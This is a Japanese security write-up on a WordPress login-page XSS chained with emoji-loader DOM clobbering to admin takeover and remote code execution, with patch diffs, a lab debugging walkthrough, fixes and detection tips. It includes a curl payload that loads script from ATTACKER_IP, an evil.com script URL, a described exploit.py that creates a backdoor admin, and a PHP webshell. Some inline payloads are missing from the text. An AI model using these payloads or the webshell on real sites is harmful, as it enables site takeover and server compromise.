
ソフトウェア: WordPress Core ≤ 7.0.2(7.0.3より前の全バージョン)
CVSS: 8.9(高)
CWE: CWE-79 — ウェブページ生成時の入力の不適切な無害化
必要な認証: なし(事前認証)
ユーザー操作: あり(管理者がリンクを1回クリックする必要あり)
影響: XSS → アカウント乗っ取り → リモートコード実行
WordPress は世界で最も人気のあるコンテンツ管理システムであり、インターネット上の全ウェブサイトの40%以上を占めています。すべての WordPress サイトには /wp-login.php にログインページがあります — これは認証なしで誰でもアクセスできる公開エンドポイントです。
ユーザーが誤ったユーザー名を入力すると、WordPress は入力されたユーザー名をそのまま含むエラーメッセージを表示します: 「ユーザー名 X はこのサイトに登録されていません。」 問題は、ユーザー名の値がエスケープ関数を一切通さずに HTML レスポンスに直接挿入されることです — 攻撃者は実在するユーザー名の代わりに HTML/JavaScript を入力するだけで、そのコードがブラウザで実行されます。
これは反射型 XSS の欠陥です — ペイロードはリクエストに含まれ、サーバーが HTML 内にそのまま反映します。危険なのは、この欠陥がログインページに存在することです — 管理者が頻繁にアクセスする場所であり、管理者のセッション Cookie を窃取できる場所です。
調査チームはさらに、この XSS が WordPress の emoji-loader における DOM clobbering 脆弱性と連鎖し、外部サーバーから JavaScript を読み込めることを発見しました。そこから攻撃者は新しい管理者アカウントを作成 → ウェブシェルを含むプラグインをインストール → サーバー上で PHP コードを実行できます。この攻撃チェーンは XSS2Shell と呼ばれます。
| 属性 | 値 |
|---|---|
| CVE ID | CVE-2026-64638 |
| CVSS スコア | 8.9(高) |
| ソフトウェア | WordPress Core ≤ 7.0.2 |
| 認証 | 不要(事前認証) |
| ユーザー操作 | クリック1回が必要(管理者がリンクをクリック) |
| 攻撃複雑度 | 高 |
| パッチ適用済み | WordPress 7.0.3(2026年6月8日) |
| 報告者 | HackerOne 経由の pwn.ai チーム |
| HackerOne レポート | #3877102 |
WordPress は emoji-loader.js ファイルを通じて、すべてのページ(ログインページを含む)で絵文字サポートを読み込みます。このスクリプトは id="wp-emoji-settings" を持つ要素から設定を読み取ります:
// Before patch (vulnerable)
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
document.getElementById() は DOM 内で一致する id を持つ最初の要素を返します。攻撃者が元のスクリプトタグより前に <div id="wp-emoji-settings"> を注入した場合、getElementById は実際の設定ではなく攻撃者のコンテンツを読み取ります。この手法は DOM clobbering と呼ばれます — HTML 要素を注入して JavaScript の動作を上書きする手法です。
絵文字設定には JavaScript ファイルを読み込むための URL(concatemoji)が含まれています。攻撃者はこの URL を制御します → 外部サーバーから JS ファイルを読み込む → ブラウザコンテキスト内で任意のコードを実行します。
管理者コンテキスト内での JavaScript 実行を達成すると、攻撃者は WordPress の完全な管理者権限を手に入れます:
/wp-admin/user-new.php を呼び出す/wp-admin/plugin-install.php 経由でプラグインをアップロードする上記3つの方法のいずれでも、サーバー上で PHP コードを実行できます — つまり RCE です。
wordpress-develop の修正コミット 0d6d42e から、wp-includes/user.php ファイル内でユーザー名/メールアドレスがエラーメッセージに直接挿入される3箇所を特定しました:
# View diff between vulnerable and patched versions
git diff 7.0.2..7.0.3 -- src/wp-includes/user.php
場所1 — 189行目(ユーザー名が存在しない場合):
修正前 :
// BEFORE (vulnerable):
sprintf(
__( 'The username <strong>%s</strong> is not registered...' ),
$username // ← no escaping
)

修正後 :
// fixed:
sprintf(
__( 'The username <strong>%s</strong> is not registered...' ),
esc_html( $username ) // ← escaped
)
場所2 — 216行目(パスワードが誤っている場合):
修正前 :

// BEFORE:
'<strong>' . $username . '</strong>' // ← no escaping
修正後 :
// AFTER:
'<strong>' . esc_html( $username ) . '</strong>'
場所3 — 299行目(メールアドレスのパスワードが誤っている場合):
修正前 :

// BEFORE:
'<strong>' . $email . '</strong>' // ← no escaping
修正後 :
// AFTER:
'<strong>' . esc_html( $email ) . '</strong>'
POST リクエストからエラーメッセージまでのデータフロー:
$_POST['log'] ← user input from login form
↓
wp_signon() [user.php:51]
$credentials['user_login'] = wp_unslash($_POST['log']) ← only removes backslashes
↓
wp_authenticate($username, $password) [pluggable.php:689]
$username = sanitize_user($username) ← strips HTML tags, but has a bypass
↓
wp_authenticate_username_password() [user.php:153]
get_user_by('login', $username) ← user not found
↓
sprintf('The username <strong>%s</strong>...', $username) ← XSS!
↓
WP_Error → login_header() → wp_admin_notice()
wp_kses_post(...) ← filters HTML but allows <div>, <a>, through
↓
HTML response → browser render → JavaScript execute
ユーザー名が HTML に到達するまでに、WordPress には2つのフィルタリング層があります:
層1: sanitize_user() — strip_tags() を呼び出して HTML タグを削除します。しかし、PHP の strip_tags() には既知の制限があり、標準的でないタグ形式でフィルターを回避できます。
層2: wp_kses_post() — <div>、<a>、`` など特定の属性を持つ安全な HTML のサブセットを許可します(ただし onerror や onload などのイベントハンドラは除去します)。重要なのは、wp_kses_post が <div id="wp-emoji-settings"> を許可することです — これは DOM clobbering に必要な要素そのものです。
pwn.ai チームは両方の層を回避して有用なペイロードを注入する方法を見つけました。具体的な技術的詳細は公開されていません。
ユーザー名がエスケープなしで HTML に直接入ることを視覚的に確認するため、Xdebug + VS Code を使用して実行チェーンの主要ポイントにブレークポイントを設定しました。
ステップ1 — ログインフォームに XSS ペイロードを入力:
http://localhost:8282/wp-login.php にアクセスし、ユーザー名として `` を入力して Log In をクリックします。アラートポップアップが表示されれば XSS が機能しています。


ステップ2 — user.php:184 にブレークポイント — XSS が発生する場所:
wp_authenticate_username_password() 関数内の return new WP_Error(...) にブレークポイントを設定します。デバッガーが停止したら、以下を確認します:
$username = "" — HTML ペイロードがエスケープされずにそのまま$_POST パネル: log = "" — ペイロードがフォーム入力由来であることを確認wp_authenticate_username_password() → WP_Hook->apply_filters → apply_filters → wp_authenticate → wp_signon → {main} wp-login.php
$username の値は $_POST['log'] → wp_unslash() →(sanitize_user をバイパス)→ 186〜189行目のエラーメッセージへの sprintf() という経路をたどります — その間に esc_html() はありません。実験環境では、pwn.ai が発見したバイパスを再現するため sanitize_user() をコメントアウトしました。
ステップ3 — functions.php:9200 にブレークポイント — 最終出力:
echo wp_get_admin_notice( $message, $args ) にブレークポイントを設定します — これは HTML がブラウザに出力される直前の最終行です:
$message = "<p><strong>Error:</strong> The username <strong></strong> is not registered...</p>" — ペイロードが HTML エラーメッセージ内にそのまま存在wp_kses_post() によるラップがありません(バイパス再現のため除去済み)ので、ペイロードはそのままブラウザに到達します
元の WordPress では、この行は echo wp_kses_post( wp_get_admin_notice(...) ) です — wp_kses_post() は onerror 属性を除去しますが、<div> は許可リストに含まれるため <div id="wp-emoji-settings"> は通過させます。これこそ DOM clobbering 攻撃の正確なベクターです。
コミット a12c8f5 は emoji-loader.js を変更して DOM clobbering をブロックします:
// BEFORE (vulnerable): accepts any element with a matching id
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
// AFTER (fixed): only accepts <script> element
const selector = 'script#wp-emoji-settings';
const script = document.querySelector(selector);
if (!(script instanceof HTMLScriptElement)) {
throw new Error(`Element missing:${selector}`);
}
const settings = JSON.parse(script.text);
この修正は3つの点を変更します:
getElementById の代わりに querySelector('script#...') を使用 — <script> タグのみに一致しますinstanceof HTMLScriptElement をチェック — <div> や `` による DOM clobbering を防止します.textContent の代わりに .text を使用 — .text は HTMLScriptElement 固有のプロパティです修正後は、攻撃者が <div id="wp-emoji-settings"> を注入しても、emoji-loader は <script> 要素ではないためそれを無視します。
┌─────────────────────────────────────────────────────────────────┐
│ ATTACKER │
│ Creates phishing link containing XSS payload │
│ POST /wp-login.php with log=<div id="wp-emoji-settings"> │
│ {"source":{"concatemoji":"https://evil.com/rce.js"}} │
└────────────────────────┬────────────────────────────────────────┘
│ Sends link to admin (email, chat, etc.)
▼
┌─────────────────────────────────────────────────────────────────┐
│ ADMIN CLICKS LINK │
│ Browser POSTs to /wp-login.php → server reflects payload │
│ → <div id="wp-emoji-settings"> appears in HTML │
└────────────────────────┬────────────────────────────────────────┘
│ emoji-loader.js executes
▼
┌─────────────────────────────────────────────────────────────────┐
│ DOM CLOBBERING │
│ getElementById('wp-emoji-settings') → returns attacker div │
│ JSON.parse(div.textContent) → reads fake configuration │
│ Loads script from https://evil.com/rce.js │
└────────────────────────┬────────────────────────────────────────┘
│ JS executes in admin context
▼
┌─────────────────────────────────────────────────────────────────┐
│ ACCOUNT TAKEOVER + RCE │
│ 1. Fetch /wp-admin/user-new.php → get nonce │
│ 2. POST create new admin account (backdoor) │
│ 3. Login using backdoor account │
│ 4. Install plugin containing PHP webshell │
│ 5. Call webshell → RCE on server │
└─────────────────────────────────────────────────────────────────┘
http://localhost:8282/wp-login.php にアクセスし、以下を入力します:
Log In をクリックします。「localhost」と表示されるアラートポップアップが表示されれば XSS が機能しています。
結果 — ペイロードが HTML 内にそのまま反映されます:

より複雑なペイロード — 攻撃者の JS ファイルを指す JSON を含む id="wp-emoji-settings" の <div> を注入します:

# Payload: inject div clobber emoji-settings
PAYLOAD='<div id="wp-emoji-settings">{"source":{"concatemoji":"http://ATTACKER_IP:9999/evil.js"},"readyCallback":null}</div>'
curl -s -b /tmp/wp-cookies.txt -X POST "http://localhost:8282/wp-login.php" \
--data-urlencode "log=${PAYLOAD}" \
-d '&pwd=test&wp-submit=Log+In&testcookie=1' \
| grep "wp-emoji-settings"
HTML 出力に攻撃者の JSON を含む <div id="wp-emoji-settings"> が含まれていれば、emoji-loader は攻撃者サーバーから JS を読み込みます。
python exploit.py --target http://localhost:8282 --lhost 127.0.0.1 --lport 9999
スクリプト exploit.py は2つのものを提供します:
http://127.0.0.1:9999/phish.html — WordPress セキュリティ更新を装ったフィッシングページhttp://127.0.0.1:9999/evil.js — バックドア管理者アカウントを作成する JS ペイロード攻撃者はリンク http://127.0.0.1:9999/phish.html をメール/チャットで管理者に送信します。管理者がクリックすると:
/wp-login.php に自動 POST します<div id="wp-emoji-settings"> が出現しますemoji-loader.js が偽の div を読み取り、攻撃者サーバーから evil.js を読み込みますevil.js が管理者のブラウザで実行され、nonce 取得のため /wp-admin/user-new.php をフェッチし、アカウント backdoor_xss2shell / Pwn3d!XSS2Shell を作成します
このプロセス全体は自動的に行われます。管理者には「ユーザー名が見つかりません」という通常のログインページしか見えません。
実験環境では、管理者がすでに admin / admin123 でログインしていたため、evil.js は即座に実行されました。アカウントへのアクセスを獲得した後、プラグイン経由ですぐにウェブシェルをアップロードしました:

<?phpif(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>


出力は www-data を返しました — 攻撃者はサーバー上でコマンド実行権限を獲得しました。
/wp-login.php エンドポイントは常に公開されており、隠すことはできません(ログイン URL を変更するプラグインを使用しない限り)HttpOnly が適切に設定されていない場合)や認証情報のフィッシングを可能にします修正1 — 出力のエスケープ(user.php):
// Add esc_html() to everywhere username/email appears in error messages
esc_html( $username )
esc_html( $email )
修正2 — emoji-loader の強化(emoji-loader.js):
// Only accept <script> element, do not accept <div> or other elements
const script = document.querySelector('script#wp-emoji-settings');
if (!(script instanceof HTMLScriptElement)) {
throw new Error('Element missing');
}
修正3 — URL のエスケープ(wp-login.php):
// Add esc_url() for wp_login_url() in registration messages
esc_url( wp_login_url() )
log パラメータに HTML ペイロードを含む /wp-login.php への POST リクエストを探すsanitize_user() はユーザー名の正規化を目的としており、XSS を防ぐものではありません。多層防御: 出力時点でのエスケープ(esc_html、esc_attr、esc_url)が最後かつ最も重要な防御層です。getElementById を使用しないこと。 DOM clobbering は同じ id を持つ偽の要素を注入できます。タグ名を指定した querySelector と instanceof チェックを使用してください。wp_kses_post は XSS フィルターではありません。 これは投稿コンテンツ内で安全な HTML を許可するために設計されたものであり、他のコンテキストでの XSS をブロックするものではありません。各コンテキストには専用のエスケープ関数が必要です。| CVSS メトリクス | 値 | 理由 |
|---|
| 攻撃経路 | ネットワーク | HTTP 経由で、被害者にリンクを送信 |
| 攻撃複雑度 | 高 | sanitize_user() と wp_kses_post() のバイパスが必要、被害者のクリックが必要 |
| 必要な特権 | なし | ログインエンドポイントは認証を必要としない |
| ユーザー操作 | あり | 管理者がフィッシングリンクをクリックする必要がある |
| 機密性への影響 | 高 | Cookie、セッション、管理パネルの内容を読み取る |
| 完全性への影響 | 高 | 管理者アカウントの作成、プラグインのインストール、ファイルの変更 |
| 可用性への影響 | 高 | RCE → サーバーの完全な制御 |